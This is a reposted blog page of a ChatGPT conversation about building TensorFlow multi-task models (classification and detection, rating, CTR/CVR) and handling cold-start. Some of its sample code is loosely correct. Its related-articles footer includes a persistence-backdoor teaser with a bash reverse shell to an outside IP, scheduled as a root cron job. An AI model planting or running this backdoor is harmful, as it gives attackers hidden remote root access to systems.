【ChatGPT】教你搭建多任务模型

news2024/10/5 13:28:47

ChatGPT教你搭建多任务模型

use-chatgpt-to-build-multitask-model-20230320153732

You:

tell me what’s your version of gpt ?


ChatGPT:

As an AI language model developed by OpenAI, I am based on the GPT (Generative Pretrained Transformer) architecture. However, my version is known as GPT-3.5, which is an updated version of GPT-3 with additional training data and model parameters to improve my language understanding and generation capabilities. GPT-3.5 was trained on a massive corpus of text data, including web pages, books, and other sources, and is one of the most advanced language models currently available.


You:

implement a multi-task model with tensorflow2.0 subclass api


ChatGPT:

Sure, I can provide you with an example implementation of a multi-task model using TensorFlow 2.0 Subclassing API. In this example, we will create a model that performs both image classification and object detection on images.

Here is the code:

import tensorflow as tf
from tensorflow.keras.layers import Dense, Flatten, Conv2D, MaxPooling2D, Input
from tensorflow.keras import Model


class MultiTaskModel(Model):
    def __init__(self, num_classes, num_boxes):
        super(MultiTaskModel, self).__init__()
        self.num_classes = num_classes
        self.num_boxes = num_boxes
        
        # Shared layers
        self.conv1 = Conv2D(32, 3, activation='relu')
        self.maxpool1 = MaxPooling2D()
        self.conv2 = Conv2D(64, 3, activation='relu')
        self.maxpool2 = MaxPooling2D()
        self.conv3 = Conv2D(128, 3, activation='relu')
        self.maxpool3 = MaxPooling2D()
        
        # Classification head
        self.flat1 = Flatten()
        self.dense1 = Dense(64, activation='relu')
        self.dense2 = Dense(self.num_classes, activation='softmax')
        
        # Detection head
        self.flat2 = Flatten()
        self.dense3 = Dense(256, activation='relu')
        self.dense4 = Dense(self.num_boxes * 4, activation='linear')
        
    def call(self, inputs):
        # Shared layers
        x = self.conv1(inputs)
        x = self.maxpool1(x)
        x = self.conv2(x)
        x = self.maxpool2(x)
        x = self.conv3(x)
        x = self.maxpool3(x)
        
        # Classification head
        y1 = self.flat1(x)
        y1 = self.dense1(y1)
        y1 = self.dense2(y1)
        
        # Detection head
        y2 = self.flat2(x)
        y2 = self.dense3(y2)
        y2 = self.dense4(y2)
        
        return y1, y2

In this example, we define a MultiTaskModel class that extends the tf.keras.Model class. The MultiTaskModel class takes two arguments, num_classes and num_boxes, which represent the number of classes for image classification and the number of bounding boxes for object detection, respectively.

We then define the shared layers of the model, which include three convolutional layers followed by max pooling layers. We define two separate heads for the model: one for image classification and another for object detection.

The classification head consists of a flatten layer, followed by two dense layers with relu and softmax activations, respectively. The detection head consists of a flatten layer, followed by two dense layers with relu and linear activations, respectively. The output of the detection head is a tensor of shape (batch_size, num_boxes * 4), where 4 represents the number of parameters needed to define a bounding box (x-coordinate, y-coordinate, width, and height).

In the call method of the model, we pass the inputs through the shared layers and then through the two separate heads to obtain the outputs for classification and detection. Finally, we return the two outputs as a tuple.

To train this model, you would need to define appropriate loss functions for each task and combine them into a joint loss. You would also need to provide training data that includes both labeled images and bounding box annotations.


You:

how can I train the model you built above? and how to generate sample for this model?


ChatGPT:

To train the multi-task model that I provided earlier, you can follow these steps:

  1. Prepare the training data: You would need a dataset of labeled images and bounding box annotations. You can use popular datasets such as COCO, Pascal VOC, or OpenImages for this purpose.

  2. Define the loss functions: For the classification task, you can use cross-entropy loss, and for the detection task, you can use mean squared error loss or smooth L1 loss. You can combine these losses into a joint loss using a weighting factor or a more complex scheme such as multi-task learning.

  3. Compile the model: You can compile the model using the compile method of the MultiTaskModel class. You would need to specify the optimizer, the loss functions, and any metrics you want to track during training.

  4. Train the model: You can train the model using the fit method of the MultiTaskModel class. You would need to pass in the training data, the number of epochs, and any other relevant parameters such as batch size and validation data.

Here is some sample code that demonstrates these steps:

# Load the data
train_data = ...
val_data = ...

# Define the loss functions
class_loss_fn = tf.keras.losses.CategoricalCrossentropy()
detect_loss_fn = tf.keras.losses.MeanSquaredError()

# Define the optimizer
optimizer = tf.keras.optimizers.Adam()

# Compile the model
model = MultiTaskModel(num_classes=10, num_boxes=5)
model.compile(optimizer=optimizer, loss=[class_loss_fn, detect_loss_fn], metrics=['accuracy'])

# Train the model
model.fit(train_data, epochs=10, validation_data=val_data)

# Generate a sample output
input_image = ...
output_classes, output_boxes = model.predict(input_image)

To generate a sample output for the model, you can use the predict method of the MultiTaskModel class. The input to the predict method should be an image tensor of shape (batch_size, height, width, num_channels). The output of the predict method will be a tuple of two tensors: one for the classification probabilities and one for the bounding box parameters.

Here is some sample code that demonstrates how to generate a sample output:

# Generate a sample output
input_image = ...
output_classes, output_boxes = model.predict(input_image)

# Print the predicted classes and bounding boxes
print('Predicted classes:', output_classes)
print('Predicted boxes:', output_boxes)

Note that the output of the predict method will depend on the specific dataset and training data that you used to train the model, so the results may vary.


You:

ok, can you regenerate the model for recommendation scene with a clarified example?


ChatGPT:

Sure, here is an example of how to build a multi-task model for a recommendation system using TensorFlow 2.0’s Subclassing API. This model will have two tasks: rating prediction and item embedding prediction.

Assuming we have a dataset of user-item interactions with ratings, where each user has interacted with multiple items, we can define the following inputs and outputs for our model:

Inputs:

  • User ID (integer)
  • Item ID (integer)

Outputs:

  • Rating (float)
  • Item Embedding (vector of floats)

We will use an embedding layer to learn the representations of the users and items, and a shared neural network to predict the rating and item embedding.

import tensorflow as tf

class RecommendationModel(tf.keras.Model):
    def __init__(self, num_users, num_items, embedding_size, hidden_units):
        super(RecommendationModel, self).__init__()
        self.user_embedding = tf.keras.layers.Embedding(num_users, embedding_size)
        self.item_embedding = tf.keras.layers.Embedding(num_items, embedding_size)
        self.shared_nn = tf.keras.Sequential([
            tf.keras.layers.Dense(hidden_units, activation='relu'),
            tf.keras.layers.Dense(hidden_units, activation='relu')
        ])
        self.rating_head = tf.keras.layers.Dense(1)
        self.embedding_head = tf.keras.layers.Dense(embedding_size)
        
    def call(self, inputs):
        user_ids, item_ids = inputs
        user_embeddings = self.user_embedding(user_ids)
        item_embeddings = self.item_embedding(item_ids)
        concatenated = tf.concat([user_embeddings, item_embeddings], axis=-1)
        shared = self.shared_nn(concatenated)
        rating = self.rating_head(shared)
        embedding = self.embedding_head(shared)
        return rating, embedding

In the RecommendationModel class, we define the __init__ method to create the layers of the model. We first create two embedding layers, one for the users and one for the items, with the specified embedding size. We then create a shared neural network with two hidden layers, each with the specified number of units and ReLU activation. Finally, we create two output heads: one for rating prediction with a single output neuron, and one for item embedding prediction with an output size of the embedding size.

In the call method, we define how to forward pass the inputs through the model. We first look up the embeddings of the users and items using the corresponding embedding layers. We then concatenate these embeddings along the last dimension, and pass the concatenated embeddings through the shared neural network. Finally, we pass the output of the shared network through the rating and embedding output heads, respectively.

To train the model, we need to define the loss functions for each task and the optimizer. Assuming we have a training dataset of user-item interactions with corresponding ratings and item embeddings, we can define the following:

# Load the data
train_data = ...
val_data = ...

# Define the loss functions
mse_loss_fn = tf.keras.losses.MeanSquaredError()
cosine_loss_fn = tf.keras.losses.CosineSimilarity()

# Define the optimizer
optimizer = tf.keras.optimizers.Adam()

# Instantiate the model
model = RecommendationModel(num_users=1000, num_items=10000, embedding_size=32, hidden_units=64)

# Compile the model
model.compile(optimizer=optimizer, loss=[mse_loss_fn, cosine_loss_fn], metrics=['mae', 'cosine_similarity'])

# Train the model
model.fit(train_data, epochs=10, validation_data=val_data)

In this example, we use mean squared error loss for the rating prediction task and cosine similarity loss for the item embedding prediction task. We compile the model with the specified optimizer,


You:

convert above two task with ctr prediction and cvr prediction task? build the training and predicting pipline with python again.


ChatGPT:

Sure, here’s an example of how to modify the recommendation system multi-task model to predict click-through rate (CTR) and conversion rate (CVR) instead.

Assuming we have a dataset of user-item interactions with the following features: user ID, item ID, timestamp, and a binary label indicating whether the user clicked on the item and another binary label indicating whether the user converted after clicking on the item.

We can define the following inputs and outputs for our model:

Inputs:

  • User ID (integer)
  • Item ID (integer)
  • Timestamp (float)

Outputs:

  • Click Probability (float)
  • Conversion Probability (float)

We will use an embedding layer to learn the representations of the users and items, and a shared neural network with two output heads to predict the click and conversion probabilities.

import tensorflow as tf

class CTRCVRModel(tf.keras.Model):
    def __init__(self, num_users, num_items, embedding_size, hidden_units):
        super(CTRCVRModel, self).__init__()
        self.user_embedding = tf.keras.layers.Embedding(num_users, embedding_size)
        self.item_embedding = tf.keras.layers.Embedding(num_items, embedding_size)
        self.timestamp_embedding = tf.keras.layers.Dense(embedding_size, activation='relu')
        self.shared_nn = tf.keras.Sequential([
            tf.keras.layers.Dense(hidden_units, activation='relu'),
            tf.keras.layers.Dense(hidden_units, activation='relu')
        ])
        self.click_head = tf.keras.layers.Dense(1, activation='sigmoid')
        self.conversion_head = tf.keras.layers.Dense(1, activation='sigmoid')
        
    def call(self, inputs):
        user_ids, item_ids, timestamps = inputs
        user_embeddings = self.user_embedding(user_ids)
        item_embeddings = self.item_embedding(item_ids)
        timestamp_embeddings = self.timestamp_embedding(timestamps)
        concatenated = tf.concat([user_embeddings, item_embeddings, timestamp_embeddings], axis=-1)
        shared = self.shared_nn(concatenated)
        click_probability = self.click_head(shared)
        conversion_probability = self.conversion_head(shared)
        return click_probability, conversion_probability

In the CTRCVRModel class, we define the __init__ method to create the layers of the model. We first create three input layers: one for the users, one for the items, and one for the timestamps. We then create two embedding layers, one for the users and one for the items, with the specified embedding size. We also create a dense layer for the timestamp feature. We then create a shared neural network with two hidden layers, each with the specified number of units and ReLU activation. Finally, we create two output heads: one for click probability prediction with a single output neuron and sigmoid activation, and one for conversion probability prediction with a single output neuron and sigmoid activation.

In the call method, we define how to forward pass the inputs through the model. We first look up the embeddings of the users and items using the corresponding embedding layers. We also pass the timestamps through the timestamp embedding layer. We then concatenate these embeddings and the timestamp embeddings along the last dimension, and pass the concatenated embeddings through the shared neural network. Finally, we pass the output of the shared network through the click and conversion output heads, respectively.

To train the model, we need to define the loss functions for each task and the optimizer. Assuming we have a training dataset of user-item interactions with the corresponding labels, we can define the following:

# Load the data
train_data = ...
val_data = ...

# Define the loss functions
bce_loss_fn = tf.keras.losses.BinaryCrossentropy()

# Define the optimizer
optimizer = tf.keras.optimizers.Adam()

# Instantiate the model
model = C

You:

continue


ChatGPT:

# Compile the model with two loss functions
model.compile(optimizer=optimizer, loss=[bce_loss_fn, bce_loss_fn])

# Define the training and validation datasets
train_dataset = tf.data.Dataset.from_tensor_slices((train_user_ids, train_item_ids, train_timestamps, 
                                                     train_click_labels, train_conversion_labels))
train_dataset = train_dataset.shuffle(buffer_size=len(train_data)).batch(batch_size)
val_dataset = tf.data.Dataset.from_tensor_slices((val_user_ids, val_item_ids, val_timestamps, 
                                                   val_click_labels, val_conversion_labels))
val_dataset = val_dataset.batch(batch_size)

# Train the model
history = model.fit(train_dataset, epochs=num_epochs, validation_data=val_dataset)

In the compile method, we specify the optimizer and the loss functions for each task. We use binary crossentropy as the loss function for both tasks.

In the training and validation datasets, we combine all the input features and labels into tuples, and create tf.data.Dataset objects from them. We shuffle the training dataset and batch both datasets. We then use the fit method to train the model, specifying the training dataset, the number of epochs, and the validation dataset.

To generate predictions for new user-item interactions, we can use the following code:

# Load the test data
test_data = ...

# Extract the input features
test_user_ids = test_data['user_id'].values
test_item_ids = test_data['item_id'].values
test_timestamps = test_data['timestamp'].values

# Generate predictions
click_probabilities, conversion_probabilities = model.predict((test_user_ids, test_item_ids, test_timestamps))

# Save the predictions
test_data['click_probability'] = click_probabilities
test_data['conversion_probability'] = conversion_probabilities
test_data.to_csv('predictions.csv', index=False)

In this code, we load the test data and extract the input features. We then use the predict method of the model to generate the click and conversion probabilities for each interaction. Finally, we save the predictions to a CSV file.


You:

great. something may be wrong. how can i solve user or item cold-start problem due to the unseen ids occuring in embedding table?


ChatGPT:

Good question! Cold-start is a common problem in recommender systems, where new users or items have no or very few interactions in the training data, making it difficult to generate accurate recommendations.

One way to handle the cold-start problem is to use a hybrid approach, where we use not only collaborative filtering based on user-item interactions, but also content-based filtering based on item features. This allows us to make recommendations for new items based on their features, even if they have no interactions in the training data.

Another approach is to use pre-trained embeddings for the user and item features. We can use a pre-trained language model like BERT or GPT to generate embeddings for textual features like item titles or user profiles. These pre-trained embeddings can be fine-tuned on the training data to generate task-specific embeddings for our recommender system.

To handle unseen users or items at inference time, we can use a fallback strategy, such as recommending popular items to new users or recommending items similar to the ones the user has interacted with to new items.

Another approach is to use a multi-armed bandit algorithm, where we balance exploration and exploitation by recommending a mix of popular items and items similar to the ones the user has interacted with. As the user interacts more with the system, we can adjust the balance towards exploitation to generate more personalized recommendations.


You:

sounds great.but talk is cheap, show me the code.


ChatGPT:

Sure! Here’s an example of how to implement a hybrid recommender system with user and item embeddings for handling the cold-start problem:

# Import necessary libraries
import tensorflow as tf
from tensorflow.keras.layers import Input, Embedding, Concatenate, Dense, Dropout
from tensorflow.keras.models import Model

# Define the input and embedding sizes
num_users = len(user_id_encoder.classes_)
num_items = len(item_id_encoder.classes_)
embedding_size = 32

# Define the user and item input layers
user_input = Input(shape=(1,), name='user_input')
item_input = Input(shape=(1,), name='item_input')

# Define the user and item embedding layers
user_embedding = Embedding(input_dim=num_users, output_dim=embedding_size, name='user_embedding')
item_embedding = Embedding(input_dim=num_items, output_dim=embedding_size, name='item_embedding')

# Generate the user and item embeddings
user_embedding_output = user_embedding(user_input)
item_embedding_output = item_embedding(item_input)

# Define the MLP layers
concatenated_embeddings = Concatenate(name='concatenated_embeddings')([user_embedding_output, item_embedding_output])
dropout_layer_1 = Dropout(0.2, name='dropout_layer_1')(concatenated_embeddings)
dense_layer_1 = Dense(64, activation='relu', name='dense_layer_1')(dropout_layer_1)
dropout_layer_2 = Dropout(0.2, name='dropout_layer_2')(dense_layer_1)
dense_layer_2 = Dense(32, activation='relu', name='dense_layer_2')(dropout_layer_2)

# Define the output layer
output_layer = Dense(1, activation='sigmoid', name='output_layer')(dense_layer_2)

# Define the model
model = Model(inputs=[user_input, item_input], outputs=output_layer)

# Compile the model
model.compile(optimizer='adam', loss='binary_crossentropy')

# Train the model
model.fit([train_data['user_id'], train_data['item_id']], train_data['label'], epochs=10, validation_split=0.2)

In this code, we define the input and embedding sizes for the user and item features, and define the user and item input layers. We then define the user and item embedding layers using the Embedding class, and generate the embeddings for the user and item features using these layers.

We then define an MLP model using the Concatenate, Dropout, and Dense layers, and concatenate the user and item embeddings as input to this model. We define a sigmoid activation function on the output layer, since we are performing binary classification to predict user-item interactions.

We compile the model using the Adam optimizer and binary crossentropy loss function, and train the model on the training data, using 20% of the data for validation. Note that we use the fit method of the model, and pass the user and item features as a list to the inputs parameter of the method.

To handle the cold-start problem, we can incorporate content-based filtering by including item features, such as the item title or description, in the input to the model. We can use pre-trained language models like BERT or GPT to generate embeddings for these features, or use simpler models like TF-IDF or word2vec.

To handle unseen users or items at inference time, we can use a fallback strategy, such as recommending popular items to new users or recommending items similar to the ones the user has interacted with to new items. We can also use a multi-armed bandit algorithm to balance exploration and exploitation and generate personalized recommendations for cold-start users and items.


You:

can you show the main coding logic for the last two strategy you mentioned above?


ChatGPT:

Sure, here are some code snippets to illustrate the two strategies:

Strategy 1: Recommending popular items to new users

# Get the top N most popular items
popular_items = train_data['item_id'].value_counts().head(N).index.tolist()

# Get the user's interactions
user_interactions = train_data[train_data['user_id'] == user_id]['item_id'].tolist()

# Remove the items the user has already interacted with
popular_items = [item for item in popular_items if item not in user_interactions]

# Recommend the remaining popular items to the user
recommendations = popular_items[:K]

In this code, we first compute the top N most popular items from the training data based on their frequency of interaction. We then get the user’s interactions from the training data, and remove the items that the user has already interacted with from the list of popular items. We then recommend the top K remaining popular items to the user.

Strategy 2: Recommending similar items to new items

# Define the similarity function
def cosine_similarity(vector1, vector2):
    dot_product = np.dot(vector1, vector2)
    norm1 = np.linalg.norm(vector1)
    norm2 = np.linalg.norm(vector2)
    return dot_product / (norm1 * norm2)

# Get the embedding of the new item
new_item_embedding = item_embedding.predict(np.array([new_item_id]))

# Compute the cosine similarity between the new item and all other items
similarities = []
for item_id in item_id_encoder.classes_:
    if item_id == new_item_id:
        continue
    item_embedding = item_embedding_layer(np.array([item_id]))
    similarity = cosine_similarity(new_item_embedding, item_embedding)
    similarities.append((item_id, similarity))

# Sort the similarities in descending order
similarities = sorted(similarities, key=lambda x: x[1], reverse=True)

# Get the top K most similar items
recommendations = [item[0] for item in similarities[:K]]

In this code, we first define a similarity function to compute the cosine similarity between two embeddings. We then get the embedding of the new item using the item embedding layer of the trained model. We compute the cosine similarity between the new item and all other items, and sort the similarities in descending order. We then recommend the top K most similar items to the new item based on the computed similarities. Note that this strategy assumes that there are some existing items in the training data that are similar to the new item, which may not always be the case.

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/421438.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【云原生】:用Kubernetes部署MySQL、SpringCloud、Nacos实现高可用

✅创作者:陈书予 🎉个人主页:陈书予的个人主页 🍁陈书予的个人社区,欢迎你的加入: 陈书予的社区 文章目录一、 建立Kubernetes集群1. 安装和配置Kubernetes master节点1.1 安装Docker和Kubernetes1.2 初始化master节点…

Spring事务(2)-EnableTransactionManagement实现源码解析

Transactional注解 Transactional是spring中声明式事务管理的注解配置方式。Transactional注解可以帮助我们标注事务开启、提交、者回滚、事务传播、事务隔离、超时时间等操作。 而EnableTransactionManagement是开启Spring 事务的入口。 EnableTransactionManagement 标注启…

《SpringBoot篇》26.SpringBoot整合Jackson超详细教程(附Jackson工具类)

陈老老老板🦸👨‍💻本文专栏:SpringBoot篇(主要讲一些与springboot整合相关的内容)👨‍💻本文简述:本文讲一下Jackson常见用法,超级详细。👨‍&am…

100天精通Python丨办公效率篇 —— 11、Python自动化操作 Email(发送邮件、收邮件、邮箱客户端)

文章目录一、通过SMTP发送电子邮件1.1 定义邮件正文1.2 发送邮件二、收取电子邮件2.1 配置账户信息2.2 连接邮箱服务器2.3 搜索返回消息ID2.4 读取邮件三、使用邮件客户端发送邮件大家好,我是你们的好朋友西红柿!今天咱们聊一聊关于Python怎么操作邮件的…

IP协议以及相关技术

这里写目录标题前言正文IP基本认识IP的作用IP和MAC的关系IP地址的基础知识IP地址定义IP地址分类(IPv4)无分类IP地址CIDR子网掩码IPv6基础知识相关技术DNS域名解析ARPDHCPNATICMPIGMP总结参考连接前言 大家好,我是练习两年半的Java练习生,今天我们来讲一…

TypeScript(八)装饰器

目录 前言 定义 类装饰器 基本用法 操作方式 操作类的原型 类继承操作 方法装饰器 属性装饰器 存取器装饰器 参数装饰器 基本用法 参数过滤器 元数据函数实现 参数过滤 效果实践 装饰器优先级 相同装饰器 不同装饰器 装饰器工厂 hooks与class兼容 结语 …

电子的普线图、能级图,能量吸收和共振

一、圆形电子轨道谱线 光谱产生的原因:原子中的电子在轨道上发生跃迁。如莱曼系为电子从n2,3,4等轨道跃迁到n1的基态轨道产生。 圆形电子轨道:中心的圆点为原子核,中心最接近原子核为n1的电子轨道,轨道大小正比于n的平方。如下图…

NoSQL数据库简介

NoSQL代表“不仅是SQL”,指的是一种数据库管理系统,旨在处理大量非结构化和半结构化数据。与使用具有预定义架构的表格格式的传统SQL数据库不同,NoSQL数据库是无模式的,并且允许灵活和动态的数据结构。 NoSQL数据库是必需的&…

kafka笔记

消息队列 场景模式基础架构发送原理异步发送同步发送分区生产者提高吞吐量:数据可靠性ack应答数据重复幂等性事务数据有序数据乱序broker工作流程follower故障leader故障数据查找文件清除高效读写消费者流程消费者组初始化分区分配策略自动提交offset手动提交指定位…

GaussDB数据库事务介绍

目录 一、前言 二、GaussDB事务的定义及应用场景 三、GaussDB事务的管理 四、GaussDB事务语句 五、GaussDB事务隔离 六、GaussDB事务监控 七、总结 一、前言 随着大数据和互联网技术的不断发展,数据库管理系统的作用越来越重要,实现数据的快速读…

Springboot——文件的上传与下载(reggie)

目录 一、文件上传——upload 1.1 介绍 1.2 前端代码实现 1.3 后端代码实现 二、文件下载——download 2.1 介绍 2.2 前端代码编写 2.3 后端代码编写 三、 前端总代码 四、 应用场景 4.1 数据库表 4.1.1 菜品表 4.1.2 菜品口味表 4.1.3 菜品分类及菜品套餐表 4.2 实体类 4.…

【GitHub Copilot X】基于GPT-4的全新智能编程助手

文章目录一、前言1.1 编程助手的重要性和历史背景1.2 Copilot X 的背景和概览1.3 Copilot X 的核心技术二、自然语言处理技术的发展和现状2.1 GPT-4 技术的基本原理和应用场景2.2 Copilot X 如何利用 GPT-4 进行智能编程2.3 Copilot X 的特点和优点三、比较 Copilot X 和传统编…

Vue组件的通信方式有哪些?

文章目录组件间通信的概念组件间通信解决了什么?组件间通信的分类组件间通信的方案props传递数据$emit 触发自定义事件refEventBus$parent 或 $root$attrs 与 $listenersprovide 与 injectvuex小结组件间通信的概念 开始之前,我们把组件间通信这个词进行…

ChatGPT背后有哪些关键技术?CSIG企业行带你一探究竟

目录1 ChatGPT的时代2 CSIG企业行3 议题&嘉宾介绍3.1 对生成式人工智能的思考3.2 对话式大型语言模型研究3.3 文档图像处理中的底层视觉技术4 观看入口1 ChatGPT的时代 2015年,马斯克、美国创业孵化器Y Combinator总裁阿尔特曼、全球在线支付平台PayPal联合创始…

一文总结经典卷积神经网络CNN模型

一般的DNN直接将全部信息拉成一维进行全连接,会丢失图像的位置等信息。 CNN(卷积神经网络)更适合计算机视觉领域。下面总结从1998年至今的优秀CNN模型,包括LeNet、AlexNet、ZFNet、VGG、GoogLeNet、ResNet、DenseNet、SENet、Sque…

11万字数字政府智慧政务大数据建设平台(大数据底座、数据治理)

本资料来源公开网络,仅供个人学习,请勿商用,如有侵权请联系删除。部分资料内容: 一.1.1 数据采集子系统 数据采集需要实现对全区各委办单位的数据采集功能,包括离线采集、准实时采集和实时采集的采集方式,根…

【云原生】Kubernetes(k8s)之容器的探测

Kubernetes(k8s)之容器的探测一、探测类型及使用场景1.1、startupProbe(启动探测)1.2、readinessProbe(就绪探测)1.3、livenessProbe(存活探测)二、检查机制三、探测结果四、容器探测…

Springboot是怎么解决跨域问题的?

什么是跨域?简单理解,就是在不前网页下,试图访问另外一个不同域名下的资源时,受到浏览器同源策略的限制,而无法正常获取数据的情况;什么是同源策略同源策略是浏览器出于安全考虑而制定的一种限制资源访问的…

C++输入输出、缺省参数、函数重载【C++初阶】

目录 一、C输入&输出 二、缺省参数 1、概念 2、分类 (1)全缺省 (2)半缺省 三、函数重载 1、概念 2、原理------名字修饰 一、C输入&输出 在C语言中,我们常用printf和scanf这两个函数进行输入输出。 …

【权限维持】LinuxRootkit后门Strace监控Alias别名Cron定时任务

权限维持-Linux-定时任务-Cron后门 利用系统的定时任务功能进行反弹Shell 1、编辑后门反弹 vim /etc/.backshell.sh #!/bin/bash bash -i >& /dev/tcp/47.94.xx.xx/3333 0>&1 chmod x /etc/.backshell.sh2、添加定时任务 vim /etc/crontab */1 * * * * root /…